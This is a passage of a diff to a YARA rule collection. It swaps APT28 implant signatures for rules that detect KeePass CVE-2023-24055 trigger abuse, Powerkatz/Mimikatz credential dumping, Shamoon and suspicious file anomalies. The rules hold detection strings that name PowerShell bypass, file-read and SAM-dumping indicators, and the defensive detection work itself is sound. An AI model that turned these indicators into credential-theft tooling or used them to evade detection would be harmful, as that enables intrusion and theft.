-		$key5 = { 34F1AE17017AF16021ADA5CE3F77675BBC6E7DEC6478D6078A0B22E5FDFF3B31 }
-		$key6 = { F0EA48F164395186E6F754256EBB812A2AFE168E77ED9501F8B8E6F5B72126A7 }
-		$key7 = { 0B6E9970A8EAF68EE14AB45005357A2F3391BEAA7E53AB760B916BC2B3916ABE }
-		$key8 = { FF032EA7ED2436CF6EEA1F741F99A3522A61FDA8B5A81EC03A8983ED1AEDAB1A }
-		$key9 = { F0DAC1DDFEF7AC6DE1CBE1006584538FE650389BF8565B32E0DE1FFACBCB14BB }
-		$key10 = { A5D699A3CD4510AF11F1AF767602055C523DF74B94527D74319D6EFC6883B80D }
-		$key11 = { 5951B02696C1D5A7B2851D28872384DA607B25F4CEA268FF3FD7FBA75AB3B4B3 }
-		$key12 = { 0465D99B26AF42D8346001BB838595E301BAD8CF5D40CE9C17C944717DF82481 }
-		$key13 = { 5DFE1C83AD5F5CE1BF5D9C42E23225E3ECFDB2493E80E6554A2AC7C722EB4880 }
-		$key14 = { E9650396C45F7783BC14C59F46EA8232E8357C26B5627BFF8C42C6AE2E0F2E17 }
-		$key15 = { 7432AE389125BB4E3980ED7F6A6FB252A42E785A90F4591C3620CA642FF97CA3 }
-		$key16 = { 2B2ADBBC4F960A8916F7088067BAD30BE84B65783FBF9476DF5FDA0E5856B183 }
-		$key17 = { 808C3FD0224A59384161B8A81C8BB404D7197D16D8118CB77067C5C8BD764B3E }
-		$key18 = { 028B0E24D5675C16C815BFE4A073E9778C668E65771A1CE881E2B03F58FC7D5B }
-		$key19 = { 878B7F5CF2DC72BAF1319F91A4880931EE979665B1B24D3394FE72EDFAEF4881 }
-		$key20 = { 7AC7DD6CA34F269481C526254D2F563BC6ECA1779FEEAA33EC1C20E60B686785 }
-		$key21 = { 3044F1D394186815DD8E3A2BBD9166837D07FA1CF6A550E2C170C9CDD9305209 }
-		$key22 = { 7544DC095C441E39D258648FE9CB1267D20D83C8B2D3AB734474401DA4932619 }
-		$key23 = { D702223347406C1999D1A9829CBBE96EC86D377A40E2EE84562EA1FAC1C71498 }
-		$key24 = { CA36CB1177382A1009D392A58F7C1357E94AD2292CC0AE82EE4F7DB0179148E1 }
-		$key25 = { C714F23E4C1C4E55F0E1FA7F5D0DD64658A86F84681D07576D840784154F65DC }
-		$key26 = { 63571BAF736904634AFEE2A70CB9ED64615DE8CA7AEF21E773286B8877D065DB }
-		$key27 = { 27808A9BE98FFE348DE1DB999AC9FDFB26E6C5A0D5E688490EF3D186C43661EB }
-		$key28 = { B6EB86A07A85D40866AFA100789FFB9E85C13F5AA7C7A3B6BA753C7EAB9D6A62 }
-		$key29 = { 88F0020375D60BDB85ACDBFE4BD79CD098DB2B3FA2CEF55D4331DBEFCE455157 }
-		$key30 = { 36535AAB296587AE1162AC5D39492DD1245811C72706246A38FF590645AA5D7B }
-		$key31 = { FDB726261CADD52E10818B49CAB81BEF112CB63832DAA26AD9FC711EA6CE99A4 }
-		$key32 = { 86C0CAA26D9FD07D215BC7EB14E2DA250E905D406AFFAB44FB1C62A2EAFC4670 }
-		$key33 = { BC101329B0E3A7D13F6EBC535097785E27D59E92D449D6D06538725034B8C0F0 }
-		$key34 = { C8D31A78B7C149F62F06497F9DC1DDC4967B566AC52C3A2A65AC7A99643B8A2D }
-		$key35 = { 0EA4A5C565EFBB94F5041392C5F0565B6BADC630D9005B3EADD5D81110623E1F }
-		$key36 = { 06E4E46BD3A0FFC8A4125A6A02B0C56D5D8B9E378CF97539CE4D4ADFAF89FEB5 }
-		$key37 = { 6DE22040821F0827316291331256A170E23FA76E381CA7066AF1E5197AE3CFE7 }
-		$key38 = { C6EF27480F2F6F40910074A45715143954BBA78CD74E92413F785BBA5B2AA121 }
-		$key39 = { 19C96A28F8D9698ADADD2E31F2426A46FD11D2D45F64169EDC7158389BFA59B4 }
-		$key40 = { C3C3DDBB9D4645772373A815B5125BB2232D8782919D206E0E79A6A973FF5D36 }
-		$key41 = { C33AF1608037D7A3AA7FB860911312B4409936D236564044CFE6ED42E54B78A8 }
-		$key42 = { 856A0806A1DFA94B5E62ABEF75BEA3B657D9888E30C8D2FFAEC042930BBA3C90 }
-		$key43 = { 244496C524401182A2BC72177A15CDD2EF55601F1D321ECBF2605FFD1B9B8E3F }
-		$key44 = { DF24050364168606D2F81E4D0DEB1FFC417F1B5EB13A2AA49A89A1B5242FF503 }
-		$key45 = { 54FA07B8108DBFE285DD2F92C84E8F09CDAA687FE492237F1BC4343FF4294248 }
-		$key46 = { 23490033D6BF165B9C45EE65947D6E6127D6E00C68038B83C8BFC2BCE905040C }
-		$key47 = { 4E044025C45680609B6EC52FEB3491130A711F7375AAF63D69B9F952BEFD5F0C }
-		$key48 = { 019F31C5F5B2269020EBC00C1F511F2AC23E9D37E89374514C6DA40A6A03176C }
-		$key49 = { A2483197FA57271B43E7276238468CFB8429326CBDA7BD091461147F642BEB06 }
-		$key50 = { 731C9D6E74C589B7ACB019E5F6A6E07ACF12E68CB9A396CE05AA4D69D5387048 }
-		$key51 = { 540DB6C8D23F7F7FEF9964E53F445F0E56459B10E931DEEEDB2B57B063C7F8B7 }
-		$key52 = { D5AF80A7EEFF26DE988AC3D7CE23E62568813551B2133F8D3E973DA15E355833 }
-		$key53 = { E4D8DBD3D801B1708C74485A972E7F00AFB45161C791EE05282BA68660FFBA45 }
-		$key54 = { D79518AF96C920223D687DD596FCD545B126A678B7947EDFBF24661F232064FB }
-		$key55 = { B57CAA4B45CA6E8332EB58C8E72D0D9853B3110B478FEA06B35026D7708AD225 }
-		$key56 = { 077C714C47DFCF79CA2742B1544F4AA8035BB34AEA9D519DEE77745E01468408 }
-		$key57 = { C3F5550AD424839E4CC54FA015994818F4FB62DE99B37C872AF0E52C376934FA }
-		$key58 = { 5E890432AE87D0FA4D209A62B9E37AAEDEDC8C779008FEBAF9E4E6304D1B2AAC }
-		$key59 = { A42EDE52B5AF4C02CFE76488CADE36A8BBC3204BCB1E05C402ECF450071EFCAB }
-		$key60 = { 4CDAFE02894A04583169E1FB4717A402DAC44DA6E2536AE53F5F35467D31F1CA }
-		$key61 = { 0BEFCC953AD0ED6B39CE6781E60B83C0CFD166B124D1966330CBA9ADFC9A7708 }
-		$key62 = { 8A439DC4148A2F4D5996CE3FA152FF702366224737B8AA6784531480ED8C8877 }
-		$key63 = { CF253BE3B06B310901FF48A351471374AD35BBE4EE654B72B860F2A6EC7B1DBB }
-		$key64 = { A0599F50C4D059C5CFA16821E97C9596B1517B9FB6C6116F260415127F32CE1F }
-		$key65 = { 8B6D704F3DC9150C6B7D2D54F9C3EAAB14654ACA2C5C3952604E65DF8133FE0C }
-		$key66 = { A06E5CDD3871E9A3EE17F7E8DAE193EE47DDB87339F2C599402A78C15D77CEFD }
-		$key67 = { E52ADA1D9BC4C089DBB771B59904A3E0E25B531B4D18B58E432D4FA0A41D9E8A }
-		$key68 = { 4778A7E23C686C171FDDCCB8E26F98C4CBEBDF180494A647C2F6E7661385F05B }
-		$key69 = { FE983D3A00A9521F871ED8698E702D595C0C7160A118A7630E8EC92114BA7C12 }
-		$key70 = { 52BA4C52639E71EABD49534BBA80A4168D15762E2D1D913BAB5A5DBF14D9D166 }
-		$key71 = { 931EB8F7BC2AE1797335C42DB56843427EB970ABD601E7825C4441701D13D7B1 }
-		$key72 = { 318FA8EDB989672DBE2B5A74949EB6125727BD2E28A4B084E8F1F50604CCB735 }
-		$key73 = { 5B5F2315E88A42A7B59C1B493AD15B92F819C021BD70A5A6619AAC6666639BC2 }
-		$key74 = { C2BED7AA481951FEB56C47F03EA38236BC425779B2FD1F1397CB79FE2E15C0F0 }
-		$key75 = { D3979B1CB0EC1A655961559704D7CDC019253ACB2259DFB92558B7536D774441 }
-		$key76 = { 0EDF5DBECB772424D879BBDD51899D6AAED736D0311589566D41A9DBB8ED1CC7 }
-		$key77 = { CC798598F0A9BCC82378A5740143DEAF1A147F4B2908A197494B7202388EC905 }
-		$key78 = { 074E9DF7F859BF1BD1658FD2A86D81C282000EAB09AF4252FAB45433421D3849 }
-		$key79 = { 6CD540642E007F00650ED20D7B54CFFD54DDA95D8DEBB087A004BAE222F22C8E }
-		$key80 = { C76CF2F66C71F6D17FC8DEFA1CAEF8718BA1CE188C7EA02C835A0FA54D3B3314 }
-		$key81 = { A7250A149600E515C9C40FE5720756FDA8251635A3B661261070CB5DABFE7253 }
-		$key82 = { 237C67B97D4CCE4610DE2B82E582808EA796C34A4C24715C953CBA403B2C935E }
-		$key83 = { A8FA182547E66B57C497DAAA195A38C0F0FB0A3C1F7B98B4B852F5F37E885127 }
-		$key84 = { 83694CCA50B821144FFBBE6855F62845F1328111AE1AC5666CBA59EB43AA12C6 }
-		$key85 = { 145E906416B17865AD37CD022DF5481F28C930D6E3F53C50B0953BF33F4DB953 }
-		$key86 = { AB49B7C2FA3027A767F5AA94EAF2B312BBE3E89FD924EF89B92A7CF977354C22 }
-		$key87 = { 7E04E478340C209B01CA2FEBBCE3FE77C6E6169F0B0528C42FA4BDA6D90AC957 }
-		$key88 = { 0EADD042B9F0DDBABA0CA676EFA4EDB68A045595097E5A392217DFFC21A8532F }
-		$key89 = { 5623710F134ECACD5B70434A1431009E3556343ED48E77F6A557F2C7FF46F655 }
-		$key90 = { 6968657DB62F4A119F8E5CB3BF5C51F4B285328613AA7DB9016F8000B576561F }
-		$key91 = { DEBB9C95EAE6A68974023C335F8D2711135A98260415DF05845F053AD65B59B4 }
-		$key92 = { 16F54900DBF08950F2C5835153AB636605FB8C09106C0E94CB13CEA16F275685 }
-		$key93 = { 1C9F86F88F0F4882D5CBD32876368E7B311A84418692D652A6A4F315CC499AE8 }
-		$key94 = { E920E0783028FA05F4CE2D6A04BBE636D56A775CFD4DAEA3F2A1B8BEEB52A6D4 }
-		$key95 = { 73874CA3AF47A8A315D50E1990F44F655EC7C15B146FFE0611B6C4FC096BD07C }
-		$key96 = { F21C1FA163C745789C53922C47E191A5A85301BDC2FFC3D3B688CFBFF39F3BE5 }
-		$key97 = { BC5A861F21CB98BD1E2AE9650B7A0BB4CD0C71900B3463C1BC3380AFD2BB948E }
-		$key98 = { 151BAE36E646F30570DC6A7B57752F2481A0B48DD5184E914BCF411D8AD5ACA0 }
-		$key99 = { F05AD6D7A0CADC10A6468BFDBCBB223D5BD6CA30EE19C239E8035772D80312C9 }
-		$key100 = { 5DE9A0FDB37C0D59C298577E5379BCAF4F86DF3E9FA17787A4CEFA7DD10C462E }
-		$key101 = { F5E62BA862380224D159A324D25FD321E5B35F8554D70CF9A506767713BCA508 }
-		$key102 = { A2D1B10409B328DA0CCBFFDE2AD2FF10855F95DA36A1D3DBA84952BB05F8C3A7 }
-		$key103 = { C974ABD227D3AD339FAC11C97E11D904706EDEA610B181B8FAD473FFCC36A695 }
-		$key104 = { AB5167D2241406C3C0178D3F28664398D5213EE5D2C09DCC9410CB604671F5F1 }
-		$key105 = { C25CC4E671CAAA31E137700A9DB3A272D4E157A6A1F47235043D954BAE8A3C70 }
-		$key106 = { E6005757CA0189AC38F9B6D5AD584881399F28DA949A0F98D8A4E3862E20F715 }
-		$key107 = { 204E6CEB4FF59787EF4D5C9CA5A41DDF4445B9D8E0C970B86D543E9C7435B194 }
-		$key108 = { 831D7FD21316590263B69E095ABBE89E01A176E16AE799D83BD774AF0D254390 }
-		$key109 = { 42C36355D9BC573D72F546CDB12E6BB2CFE2933AC92C12040386B310ABF6A1ED }
-		$key110 = { B9044393C09AD03390160041446BF3134D864D16B25F1AB5E5CDC690C4677E7D }
-		$key111 = { 6BC1102B5BE05EEBF65E2C3ACA1F4E17A59B2E57FB480DE016D371DA3AEF57A5 }
-		$key112 = { B068D00B482FF73F8D23795743C76FE8639D405EE54D3EFB20AFD55A9E2DFF4E }
-		$key113 = { 95CF5ADDFE511C8C7496E3B75D52A0C0EFE01ED52D5DD04D0CA6A7ABD3A6F968 }
-		$key114 = { 75534574A4620019F8E3D055367016255034FA7D91CBCA9E717149441742AC8D }
-		$key115 = { 96F1013A5301534BE424A11A94B740E5EB3A627D052D1B769E64BAB6A666433C }
-		$key116 = { 584477AB45CAF729EE9844834F84683ABECAB7C4F7D23A9636F54CDD5B8F19B3 }
-		$key117 = { D3905F185B564149EE85CC3D093477C8FF2F8CF601C68C38BBD81517672ECA3A }
-		$key118 = { BF29521A7F94636D1930AA236422EB6351775A523DE68AF9BF9F1026CEDA618D }
-		$key119 = { 04B3A783470AF1613A9B849FBD6F020EE65C612343EB1C028B2C28590789E60B }
-		$key120 = { 3D8D8E84977FE5D21B6971D8D873E7BED048E21333FE15BE2B3D1732C7FD3D04 }
-		$key121 = { 8ACB88224B6EF466D7653EB0D8256EA86D50BBA14FD05F7A0E77ACD574E9D9FF }
-		$key122 = { B46121FFCF1565A77AA45752C9C5FB3716B6D8658737DF95AE8B6A2374432228 }
-		$key123 = { A4432874588D1BD2317224FB371F324DD60AB25D4191F2F01C5C13909F35B943 }
-		$key124 = { 78E1B7D06ED2A2A044C69B7CE6CDC9BCD77C19180D0B082A671BBA06507349C8 }
-		$key125 = { 540198C3D33A631801FE94E7CB5DA3A2D9BCBAE7C7C3112EDECB342F3F7DF793 }
-		$key126 = { 7E905652CAB96ACBB7FEB2825B55243511DF1CD8A22D0680F83AAF37B8A7CB36 }
-		$key127 = { 37218801DBF2CD92F07F154CD53981E6189DBFBACAC53BC200EAFAB891C5EEC8 }
+		$ico = {79 e1 d7 ff 7e e5 db ff 7f e8 dc ff 85 eb dd ff ba ff f1 ff 66 a0 b6 ff 01 38 61 ff 22 50 75 c3}
+
+	condition:
+		uint16(0)==0x5A4D and $ico and filesize <10MB
+}
+rule SIGNATURE_BASE_EXPL_Keepass_CVE_2023_24055_Jan23 : CVE_2023_24055 FILE
+{
+	meta:
+		description = "Detects suspicious entries in the Keepass configuration file, which could be indicator of the exploitation of CVE-2023-24055"
+		author = "Florian Roth (Nextron Systems)"
+		id = "2c031919-da19-5fd0-b21a-2e83679ad1e3"
+		date = "2023-01-25"
+		modified = "2023-12-05"
+		reference = "https://github.com/alt3kx/CVE-2023-24055_PoC"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/expl_keepass_cve_2023_24055.yar#L2-L20"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "3ca00f317838819bb7fb80c9d00d94db498e1d3ef146b9af2664dae09302a86d"
+		score = 75
+		quality = 81
+		tags = "CVE-2023-24055, FILE"
+
+	strings:
+		$a1 = "<TriggerCollection xmlns:xsi=" ascii wide
+		$x1 = "<Parameter>KeePass XML (2.x)</Parameter>"
+		$x2 = "::ReadAllBytes("
+		$x3 = " -Method "
+		$x4 = " bypass "
+		$x5 = "powershell" nocase ascii wide fullword
 
 	condition:
-		any of them
+		filesize <200KB and $a1 and 1 of ($x*)
 }
-import "pe"
+rule SIGNATURE_BASE_SUSP_Keepass_CVE_2023_24055_Jan23 : CVE_2023_24055 FILE
+{
+	meta:
+		description = "Detects suspicious triggers defined in the Keepass configuration file, which could be indicator of the exploitation of CVE-2023-24055"
+		author = "Florian Roth (Nextron Systems)"
+		id = "4ff1a93f-f7f0-528d-9e07-402e321a0ffe"
+		date = "2023-01-25"
+		modified = "2023-12-05"
+		reference = "https://github.com/alt3kx/CVE-2023-24055_PoC"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/expl_keepass_cve_2023_24055.yar#L22-L37"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "4ed3eee86baf3dddfe423795491a5a94c02df3f4a7525efa6f2436e19197e55b"
+		score = 60
+		quality = 85
+		tags = "CVE-2023-24055, FILE"
 
-rule SIGNATURE_BASE_IMPLANT_5_V3
+	strings:
+		$a1 = "<TriggerCollection xmlns:xsi=" ascii wide
+		$s1 = "<Action>" ascii wide
+		$s2 = "<Parameter>" ascii wide
+
+	condition:
+		filesize <200KB and $a1 and all of ($s*)
+}
+rule SIGNATURE_BASE_Powerkatz_DLL_Generic : FILE
 {
 	meta:
-		description = "XTunnel Implant by APT28"
-		author = "US CERT"
-		id = "0763e314-85d0-5c16-b766-36298176e0ff"
-		date = "2017-02-10"
+		description = "Detects Powerkatz - a Mimikatz version prepared to run in memory via Powershell (overlap with other Mimikatz versions is possible)"
+		author = "Florian Roth (Nextron Systems)"
+		id = "7464f8a1-9f45-580b-8a97-a57071092e3c"
+		date = "2016-02-05"
 		modified = "2023-12-05"
-		reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_grizzlybear_uscert.yar#L1194-L1207"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "aec1314858732d30b62a033e85eea50b3375e4f5b0e1818a941979d5be672297"
-		score = 85
+		reference = "PowerKatz Analysis"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_powerkatz.yar#L9-L32"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "979cdb42b54a26960b3173d5ea6abcc5fa61bef57f98b09e55eb4c75f1040a40"
+		score = 80
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash1 = "c20f30326fcebad25446cf2e267c341ac34664efad5c50ff07f0738ae2390eae"
+		hash2 = "1e67476281c1ec1cf40e17d7fc28a3ab3250b474ef41cb10a72130990f0be6a0"
+		hash3 = "49e7bac7e0db87bf3f0185e9cf51f2539dbc11384fefced465230c4e5bce0872"
 
 	strings:
-		$BYTES1 = { 0F AF C0 6? C0 07 00 00 00 2D 01 00 00 00 0F AF ?? 39 ?8 }
-		$BYTES2 = { 0F AF C0 6? C0 07 48 0F AF ?? 39 ?8 }
+		$s1 = "%3u - Directory '%s' (*.kirbi)" fullword wide
+		$s2 = "%*s  pPublicKey         : " fullword wide
+		$s4 = "<3 eo.oe ~ ANSSI E>" fullword wide
+		$s5 = "\\*.kirbi" wide
+		$c1 = "kuhl_m_lsadump_getUsersAndSamKey ; kull_m_registry_RegOpenKeyEx SAM Accounts (0x%08x)" fullword wide
+		$c2 = "kuhl_m_lsadump_getComputerAndSyskey ; kuhl_m_lsadump_getSyskey KO" fullword wide
 
 	condition:
-		any of them
+		( uint16(0)==0x5a4d and filesize <1000KB and 1 of them ) or 2 of them
 }
-import "pe"
+rule SIGNATURE_BASE_SUSP_Nullsoftinst_Combo_Oct20_1 : FILE
+{
+	meta:
+		description = "Detects suspicious NullSoft Installer combination with common Copyright strings"
+		author = "Florian Roth (Nextron Systems)"
+		id = "380f30a6-df6b-50c6-bb2d-b8785564bbac"
+		date = "2020-10-06"
+		modified = "2023-12-05"
+		reference = "https://twitter.com/malwrhunterteam/status/1313023627177193472"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_anomalies_keyword_combos.yar#L2-L33"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "8aef24295281da5ffa1c6f865eaa6cc8d60ea1df670058220bdb97651b6114cd"
+		score = 65
+		quality = 85
+		tags = "FILE"
+		hash1 = "686b5240e5e503528cc5ac8d764883413a260716dd290f114a60af873ee6a65f"
+		hash2 = "93951379e57e4f159bb62fd7dd563d1ac2f3f23c80ba89f2da2e395b8a647dcf"
+		hash3 = "a9ca1d6a981ccc8d8b144f337c259891a67eb6b85ee41b03699baacf4aae9a78"
 
-rule SIGNATURE_BASE_IMPLANT_5_V4
+	strings:
+		$a1 = "NullsoftInst" ascii
+		$b1 = "Microsoft Corporation" wide fullword
+		$b2 = "Apache Software Foundation" ascii wide fullword
+		$b3 = "Simon Tatham" wide fullword
+		$fp1 = "nsisinstall" fullword ascii
+		$fp2 = "\\REGISTRY\\MACHINE\\Software\\" wide
+		$fp3 = "Apache Tomcat" wide fullword
+		$fp4 = "Bot Framework Emulator" wide fullword
+		$fp5 = "Firefox Helper" wide fullword
+		$fp6 = "Paint.NET Setup" wide fullword
+		$fp7 = "Microsoft .NET Services Installation Utility" wide fullword
+		$fp8 = "License: MPL 2" wide
+
+	condition:
+		uint16(0)==0x5a4d and filesize <2000KB and $a1 and 1 of ($b*) and not 1 of ($fp*)
+}
+rule SIGNATURE_BASE_Crowdstrike_Shamoon_Droppedfile
 {
 	meta:
-		description = "XTunnel Implant by APT28"
-		author = "US CERT"
-		id = "db6df7ea-f119-5e9a-bcea-c65580418042"
-		date = "2017-02-10"
+		description = "Rule to detect Shamoon malware http://goo.gl/QTxohN"
+		author = "Florian Roth"
+		id = "b350f1b1-db73-574b-957b-34e5a84f68b0"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_grizzlybear_uscert.yar#L1209-L1225"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "98a08860453496d9629f62c64fed50a24b8378dcfa39b8b654610c2ac9084fa8"
-		score = 85
+		reference = "http://www.rsaconference.com/writable/presentations/file_upload/exp-w01-hacking-exposed-day-of-destruction.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_shamoon.yar#L1-L13"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "ed550832b217f7edceea2edf7c4453925ed1759d97db7728f7face6ff10ee361"
+		score = 75
 		quality = 85
 		tags = ""
 
 	strings:
-		$FBKEY1 = { 987AB999FE0924A2DF0A412B14E26093746FCDF9BA31DC05536892C33B116AD3 }
-		$FBKEY2 = { 8B236C892D902B0C9A6D37AE4F9842C3070FBDC14099C6930158563C6AC00FF5 }
-		$FBKEY3 = { E47B7F110CAA1DA617545567EC972AF3A6E7B4E6807B7981D3CFBD3D8FCC3373 }
-		$FBKEY4 = { 48B284545CA1FA74F64FDBE2E605D68CED8A726D05EBEFD9BAAC164A7949BDC1 }
-		$FBKEY5 = { FB421558E30FCCD95FA7BC45AC92D2991C44072230F6FBEAA211341B5BF2DC56 }
+		$testn123 = "test123" wide
+		$testn456 = "test456" wide
+		$testn789 = "test789" wide
+		$testdomain = "testdomain.com" wide
+		$pingcmd = "ping -n 30 127.0.0.1 >nul" wide
 
 	condition:
-		all of them
+		( any of ($testn*) or $pingcmd) and $testdomain
 }
 import "pe"
 
-rule SIGNATURE_BASE_IMPLANT_6_V1 : FILE
+rule SIGNATURE_BASE_SUSP_TINY_PE : FILE
 {
 	meta:
-		description = "Sednit / EVILTOSS Implant by APT28"
-		author = "US CERT"
-		id = "0554ec8e-f45d-5afc-8874-dc8adfac5cdf"
-		date = "2017-02-10"
+		description = "Detects Tiny PE file"
+		author = "Florian Roth (Nextron Systems)"
+		id = "5081c24e-91d1-5705-9459-f675be4f0e3c"
+		date = "2019-10-23"
 		modified = "2023-12-05"
-		reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_grizzlybear_uscert.yar#L1227-L1243"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "c60402a029034545df302485c14e9485f806f2bc7d5fd759e84d1ecba9854837"
-		score = 85
+		reference = "https://webserver2.tecgraf.puc-rio.br/~ismael/Cursos/YC++/apostilas/win32_xcoff_pe/tyne-example/Tiny%20PE.htm"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_file_anomalies.yar#L3-L15"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "5eabfa8e0fd4d6d1376d263484fba985e7a4b05d68046be1f79c1dfdbbfff9e5"
+		score = 80
 		quality = 85
 		tags = "FILE"
 
 	strings:
-		$STR1 = "dll.dll" wide ascii
-		$STR2 = "Init1" wide ascii
-		$STR3 = "netui.dll" wide ascii
+		$header = { 4D 5A 00 00 50 45 00 00 }
 
 	condition:
-		( uint16(0)==0x5A4D or uint16(0)==0xCFD0 or uint16(0)==0xC3D4 or uint32(0)==0x46445025 or uint32(1)==0x6674725C) and all of them
+		uint16(0)==0x5a4d and uint16(4)==0x4550 and filesize <=20KB and $header at 0
 }
 import "pe"
 
-rule SIGNATURE_BASE_IMPLANT_6_V2 : FILE
+rule SIGNATURE_BASE_SUSP_GIF_Anomalies : FILE
 {
 	meta:
-		description = "Sednit / EVILTOSS Implant by APT28"
-		author = "US CERT"
-		id = "59bfbef2-ff0e-59df-9d08-15001cec8ecf"
-		date = "2017-02-10"
+		description = "Detects files with GIF headers and format anomalies - which means that this image could be an obfuscated file of a different type"
+		author = "Florian Roth (Nextron Systems)"
+		id = "2e77c2ff-a8f6-5444-a93d-843312640a28"
+		date = "2020-07-02"
 		modified = "2023-12-05"
-		reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_grizzlybear_uscert.yar#L1245-L1258"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "7e81e8bcc305b9b7166db85d81278c96edf232bf60040ef15a2376f204ca3046"
-		score = 85
+		reference = "https://en.wikipedia.org/wiki/GIF"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_file_anomalies.yar#L17-L30"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "64d17c8de72600cd889a802fd002faaaf9a3a17f7fa157ae5b2b620b28e6c439"
+		score = 60
 		quality = 85
 		tags = "FILE"
 
-	strings:
-		$obf_func = { 8B 45 F8 6A 07 03 C7 33 D2 89 45 E8 8D 47 01 5B 02 4D 0F F7 F3 6A 07 8A 04 32 33 D2 F6 E9 8A C8 8B C7 F7 F3 8A 44 3E FE 02 45 FC 02 0C 32 B2 03 F6 EA 8A D8 8D 47 FF 33 D2 5F F7 F7 02 5D 14 8B 45 E8 8B 7D F4 C0 E3 06 02 1C 32 32 CB 30 08 8B 4D 14 41 47 83 FF 09 89 4D 14 89 7D F4 72 A1 }
-
 	condition:
-		( uint16(0)==0x5A4D or uint16(0)==0xCFD0 or uint16(0)==0xC3D4 or uint32(0)==0x46445025 or uint32(1)==0x6674725C) and all of them
+		uint16(0)==0x4947 and uint8(2)==0x46 and uint8(11)!=0x00 and uint8(12)!=0x00 and uint8( filesize -1)!=0x3b
 }
 import "pe"
 
-rule SIGNATURE_BASE_IMPLANT_6_V3 : FILE
+rule SIGNATURE_BASE_SUSP_Hxd_Icon_Anomaly_May23_1 : FILE
 {
 	meta:
-		description = "Sednit / EVILTOSS Implant by APT28"
-		author = "US CERT"
-		id = "db090bc5-a90f-5b66-8fcb-29b423dddbf7"
-		date = "2017-02-10"
+		description = "Detects suspicious use of the the free hex editor HxD's icon in PE files that don't seem to be a legitimate version of HxD"
+		author = "Florian Roth"
+		id = "3ac8cc92-6d76-5787-ada0-cfb6eabb4b20"
+		date = "2023-05-29"
 		modified = "2023-12-05"
-		reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_grizzlybear_uscert.yar#L1260-L1275"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "833a6a3a4ff8ca43d4cf8053bfd1da49df96d9833dd3fe0f3ffbf6ce6c114681"
-		score = 85
+		reference = "https://www.linkedin.com/feed/update/urn:li:activity:7068631930040188929/?utm_source=share&utm_medium=member_ios"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_file_anomalies.yar#L32-L84"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "a328687ac8b868fb78a49188b286a8951c6043a7ff6ff0c7a23c3f9b3ef15eb2"
+		score = 65
 		quality = 85
 		tags = "FILE"
 
 	strings:
-		$deob_func = { 8D 46 01 02 D1 83 E0 07 8A 04 38 F6 EA 8B D6 83 E2 07 0A
